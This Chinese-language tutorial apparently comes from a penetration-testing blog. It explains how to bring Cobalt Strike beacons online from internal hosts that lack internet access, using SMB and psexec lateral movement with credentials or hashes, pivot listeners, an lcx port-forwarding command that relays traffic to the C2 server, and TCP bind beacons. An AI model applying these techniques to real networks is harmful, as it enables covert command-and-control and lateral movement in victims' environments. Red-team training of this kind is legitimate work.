CobaltStrike 不出网上线的几种方法
环境配置
- Linux Server(CobaltStrike):
xxx.xxx.xxx.xxx
(具有公网地址) - Windows10:192.168.12.154(NAT,出网)、192.168.134.130(不出网)
- Windows Server 2016:192.168.134.132(与 Windows10 同网段,不出网)
Windows10 上线
客户端连接至 CobaltStrike 服务器,新建监听器:
新建 Web Delivery:
将弹出的命令在 Win10 中以管理员的身份(免去后续提权)在 cmd 里执行,使 Win10 上线,并且迁移进程至 System 用户进程中,然后在端口扫描模块里使用扫描功能对内网进行扫描,发现另一台 Win Server 主机:
到此准备结束,以下内容针对获取 Win Server Shell 展开
SMB 中转上线
这种 Beacon 要求具有 SMB Beacon 的主机必须接受端口 445 上的连接,新建一个 SMB 监听器:
选择 psexec64:
进行配置:
这里设置的是 Win Server 的账号密码,在渗透过程中如果有用户的 hash 也可以直接选择使用,结果如下图,上线成功:
运行成功后外部可以看到∞∞
这个字符,这就是派生的 SMB Beacon,当前是连接状态,你可以在 Beacon 上用link <ip>
命令链接它或者unlink <ip>
命令断开它,这种 Beacon 在内网横向渗透中运用的很多
中转 Listener 上线
选择转发上线:
配置选项:
然后和上面方法一样,发现内网主机且知道账号密码,psexec 横向传递,选择中转 listener:
上线成功:
端口转发上线
使用类似 lcx 的端口转发工具进行上线,原理图:
其中 lcx 将来自 Win Server 的流量转发至 CS 服务器,首先在 Win10 上启动 lcx:
1 | lcx.exe -tran 10565 xxx.xxx.xxx.xxx 10565 |
将本地 10565 端口的流量转发至 CS 服务器:
再在 CS 上启动一个新的监听器,注意 IP、Port:
创建新的载荷:
上传到 Win Server 上运行,可以看到 lcx 成功转发流量,上线成功:
正向 TCP Beacon
和 SMB Beacon 比较类似。也需要一个父 Beacon,生成一个 TCP Beacon:
使用该 Beacon 生成一个 stageless 形式的木马,上传到目标机器运行,在中转机器的 Beacon 里使用connect [ip address] [port]
命令进行正向连接,即可上线:
要销毁一个 Beacon 链接,在父会话或子会话的控制台中使用unlink [ip address] [session PID]
。以后,你可以从同一主机(或其他主机)重新连接到 TCP Beacon
本文参考链接: